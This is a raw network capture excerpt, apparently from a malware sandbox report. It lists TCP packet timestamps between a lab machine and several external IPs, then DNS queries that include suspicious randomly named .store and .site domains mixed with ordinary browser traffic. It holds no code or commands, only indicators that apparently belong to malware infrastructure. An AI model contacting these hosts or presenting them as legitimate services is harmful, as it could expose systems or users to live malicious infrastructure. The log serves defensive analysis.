Oct 21, 2024 10:47:43.548278093 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.548293114 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.548301935 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.548310041 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.548325062 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.548333883 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.548341036 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.548356056 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.548367977 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.548372984 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.548396111 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.548796892 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.548835039 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.548856974 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.548871994 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.548887968 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.548909903 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.549020052 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.549035072 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.549048901 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.549062967 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.549067020 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.549078941 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.549091101 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.549096107 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.549114943 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.549120903 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.549129963 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.549144983 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.549154043 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.549160957 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.549176931 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.549185991 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.549217939 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.549679995 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.549715996 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.549731970 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.549752951 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.549783945 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.549798965 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.549813986 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.549829960 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.549830914 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.549854994 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.550137997 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.550199032 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.550214052 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.550240040 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.550254107 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.550266027 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.550271034 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.550290108 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.550318003 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.550344944 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.550380945 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.550395966 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.550410986 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.550425053 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.550434113 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.550441027 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.550456047 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.550465107 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.550472021 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.550487995 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.550497055 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.550529003 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.551194906 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.551245928 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.551259995 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.551274061 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.551286936 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.551315069 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.551409960 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.551425934 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.551440001 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.551455975 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.551465988 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.551497936 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.551553965 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.551569939 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.551583052 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.551606894 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.551608086 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.551630974 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.551652908 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.551654100 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.551675081 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.551692963 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.552114964 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.552129984 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.552145004 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.552155972 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.552170992 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.552185059 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.552187920 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.552201033 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.552216053 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.552226067 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.552232981 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.552248001 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.552258015 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.552289009 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.552839041 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.552865982 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.552907944 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.552930117 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.552946091 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.552962065 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.552977085 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.552984953 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.553020000 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.553289890 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.553304911 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.553328991 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.553343058 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.553343058 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.553359032 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.553373098 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.553381920 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.553388119 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.553411007 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.554892063 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.554914951 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.554930925 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.554955006 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.554970026 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.554982901 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.554997921 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.555012941 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.555027008 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.555042982 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.555546045 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.555732965 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.771099091 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:43.777853966 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:43.820122004 CEST	50066	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:43.820481062 CEST	50095	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:43.828356028 CEST	80	50066	185.215.113.43	192.168.2.4
Oct 21, 2024 10:47:43.828385115 CEST	80	50095	185.215.113.43	192.168.2.4
Oct 21, 2024 10:47:43.828784943 CEST	50066	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:43.828819990 CEST	50095	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:43.829205036 CEST	50095	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:43.836992979 CEST	80	50095	185.215.113.43	192.168.2.4
Oct 21, 2024 10:47:44.200207949 CEST	80	50091	185.215.113.37	192.168.2.4
Oct 21, 2024 10:47:44.202188969 CEST	50091	80	192.168.2.4	185.215.113.37
Oct 21, 2024 10:47:44.215102911 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:44.222485065 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:44.266083956 CEST	50091	80	192.168.2.4	185.215.113.37
Oct 21, 2024 10:47:44.270987988 CEST	80	50091	185.215.113.37	192.168.2.4
Oct 21, 2024 10:47:44.556252003 CEST	80	50091	185.215.113.37	192.168.2.4
Oct 21, 2024 10:47:44.570038080 CEST	50091	80	192.168.2.4	185.215.113.37
Oct 21, 2024 10:47:44.750104904 CEST	80	50095	185.215.113.43	192.168.2.4
Oct 21, 2024 10:47:44.761054993 CEST	50095	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:44.768471956 CEST	50072	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:44.768727064 CEST	50101	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:44.773730993 CEST	80	50072	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:44.774245977 CEST	80	50101	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:44.776519060 CEST	50072	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:44.776565075 CEST	50101	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:44.777180910 CEST	50101	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:44.781972885 CEST	80	50101	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:45.075191021 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:45.077856064 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:45.155139923 CEST	50104	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:45.155179024 CEST	443	50104	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:45.155395985 CEST	50104	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:45.155880928 CEST	50104	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:45.155889988 CEST	443	50104	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:45.245950937 CEST	50106	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:45.245980024 CEST	443	50106	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:45.248883963 CEST	50106	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:45.250051975 CEST	50106	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:45.250066042 CEST	443	50106	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:45.711735964 CEST	80	50101	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:45.712177038 CEST	50101	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:45.782543898 CEST	443	50104	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:45.791408062 CEST	443	50104	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:45.792967081 CEST	50104	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:45.829505920 CEST	50104	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:45.829516888 CEST	443	50104	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:45.829755068 CEST	443	50104	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:45.834362030 CEST	50104	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:45.834516048 CEST	50104	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:45.834542990 CEST	443	50104	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:45.839966059 CEST	50104	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:45.839973927 CEST	443	50104	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:45.886847973 CEST	443	50106	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:45.894098997 CEST	50106	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:45.905669928 CEST	50106	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:45.905689955 CEST	443	50106	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:45.906085968 CEST	443	50106	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:45.915540934 CEST	50106	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:45.915699005 CEST	50106	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:45.915721893 CEST	443	50106	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:45.927612066 CEST	50106	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:45.927619934 CEST	443	50106	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:46.657845020 CEST	443	50104	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:46.657845974 CEST	443	50106	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:46.657954931 CEST	443	50104	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:46.658154964 CEST	443	50106	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:46.661845922 CEST	50106	443	192.168.2.4	172.67.206.204

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 21, 2024 10:45:58.880526066 CEST	192.168.2.4	1.1.1.1	0x4999	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:45:58.890619040 CEST	192.168.2.4	1.1.1.1	0x272b	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:45:58.907192945 CEST	192.168.2.4	1.1.1.1	0xa474	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:45:58.937817097 CEST	192.168.2.4	1.1.1.1	0x2a53	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:45:58.957238913 CEST	192.168.2.4	1.1.1.1	0x7f3b	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:45:58.980936050 CEST	192.168.2.4	1.1.1.1	0x8dd2	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:45:59.004585028 CEST	192.168.2.4	1.1.1.1	0xdcfd	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:45:59.046271086 CEST	192.168.2.4	1.1.1.1	0x288	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:45:59.062803030 CEST	192.168.2.4	1.1.1.1	0x472c	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:00.627757072 CEST	192.168.2.4	1.1.1.1	0xfe4f	Standard query (0)	sergei-esenin.com	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:35.230550051 CEST	192.168.2.4	1.1.1.1	0xd311	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:35.253089905 CEST	192.168.2.4	1.1.1.1	0x32ca	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 21, 2024 10:46:36.800282001 CEST	192.168.2.4	1.1.1.1	0x6ddc	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:36.997647047 CEST	192.168.2.4	1.1.1.1	0x323c	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:37.016696930 CEST	192.168.2.4	1.1.1.1	0x1e11	Standard query (0)	youtube.com	28	IN (0x0001)	false
Oct 21, 2024 10:46:37.405623913 CEST	192.168.2.4	1.1.1.1	0x7a25	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:37.413558006 CEST	192.168.2.4	1.1.1.1	0xfde6	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:37.431274891 CEST	192.168.2.4	1.1.1.1	0xe7ad	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 21, 2024 10:46:37.674721956 CEST	192.168.2.4	1.1.1.1	0x9ea1	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:37.687546968 CEST	192.168.2.4	1.1.1.1	0xba65	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:37.697220087 CEST	192.168.2.4	1.1.1.1	0x2109	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:37.697413921 CEST	192.168.2.4	1.1.1.1	0x75a2	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:37.697770119 CEST	192.168.2.4	1.1.1.1	0xaab9	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:37.711937904 CEST	192.168.2.4	1.1.1.1	0xc48c	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 21, 2024 10:46:37.712219954 CEST	192.168.2.4	1.1.1.1	0x1881	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 21, 2024 10:46:37.712452888 CEST	192.168.2.4	1.1.1.1	0x7f8f	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 21, 2024 10:46:38.447787046 CEST	192.168.2.4	1.1.1.1	0x7e00	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:38.448508024 CEST	192.168.2.4	1.1.1.1	0xe625	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:38.472060919 CEST	192.168.2.4	1.1.1.1	0x582	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:38.499991894 CEST	192.168.2.4	1.1.1.1	0xa3cf	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:38.507833958 CEST	192.168.2.4	1.1.1.1	0x5f58	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:38.516716957 CEST	192.168.2.4	1.1.1.1	0xb77e	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 21, 2024 10:46:40.667704105 CEST	192.168.2.4	1.1.1.1	0x5152	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:40.816654921 CEST	192.168.2.4	1.1.1.1	0xbafb	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:40.851094007 CEST	192.168.2.4	1.1.1.1	0x11d3	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:40.858450890 CEST	192.168.2.4	1.1.1.1	0xc80	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 21, 2024 10:46:48.488121033 CEST	192.168.2.4	1.1.1.1	0xe345	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:48.525907993 CEST	192.168.2.4	1.1.1.1	0xa1e9	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:48.537122011 CEST	192.168.2.4	1.1.1.1	0x51a	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 21, 2024 10:46:48.568665028 CEST	192.168.2.4	1.1.1.1	0xc35c	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:48.576263905 CEST	192.168.2.4	1.1.1.1	0x6be8	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 21, 2024 10:46:52.505640984 CEST	192.168.2.4	1.1.1.1	0x916f	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:52.515275002 CEST	192.168.2.4	1.1.1.1	0x612	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:53.000468016 CEST	192.168.2.4	1.1.1.1	0xfd5d	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 21, 2024 10:46:53.001372099 CEST	192.168.2.4	1.1.1.1	0x1928	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:53.001928091 CEST	192.168.2.4	1.1.1.1	0x50b5	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:53.008599043 CEST	192.168.2.4	1.1.1.1	0xf460	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Oct 21, 2024 10:46:53.012964010 CEST	192.168.2.4	1.1.1.1	0xd699	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 21, 2024 10:46:57.435767889 CEST	192.168.2.4	1.1.1.1	0xcc7b	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Oct 21, 2024 10:46:57.458895922 CEST	192.168.2.4	1.1.1.1	0xcaa8	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:57.466685057 CEST	192.168.2.4	1.1.1.1	0x6291	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 21, 2024 10:46:58.170142889 CEST	192.168.2.4	1.1.1.1	0xf9f0	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.138391972 CEST	192.168.2.4	1.1.1.1	0x9bfa	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.138391972 CEST	192.168.2.4	1.1.1.1	0xf28d	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.138984919 CEST	192.168.2.4	1.1.1.1	0x4d6c	Standard query (0)	www.wikipedia.org	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.145931959 CEST	192.168.2.4	1.1.1.1	0x90c3	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.146563053 CEST	192.168.2.4	1.1.1.1	0x37b0	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.147059917 CEST	192.168.2.4	1.1.1.1	0xac52	Standard query (0)	dyna.wikimedia.org	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.153085947 CEST	192.168.2.4	1.1.1.1	0xfb6	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Oct 21, 2024 10:46:59.154874086 CEST	192.168.2.4	1.1.1.1	0x18ed	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Oct 21, 2024 10:46:59.155292988 CEST	192.168.2.4	1.1.1.1	0xadb1	Standard query (0)	dyna.wikimedia.org	28	IN (0x0001)	false
Oct 21, 2024 10:46:59.160702944 CEST	192.168.2.4	1.1.1.1	0xfef3	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.162076950 CEST	192.168.2.4	1.1.1.1	0xad65	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.168704987 CEST	192.168.2.4	1.1.1.1	0xb3f4	Standard query (0)	reddit.map.fastly.net	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.169934988 CEST	192.168.2.4	1.1.1.1	0xebe6	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:46:59.176060915 CEST	192.168.2.4	1.1.1.1	0x6219	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Oct 21, 2024 10:46:59.177306890 CEST	192.168.2.4	1.1.1.1	0xa1cd	Standard query (0)	twitter.com	28	IN (0x0001)	false
Oct 21, 2024 10:47:02.028548002 CEST	192.168.2.4	1.1.1.1	0x3e54	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 21, 2024 10:47:02.058060884 CEST	192.168.2.4	1.1.1.1	0x6657	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
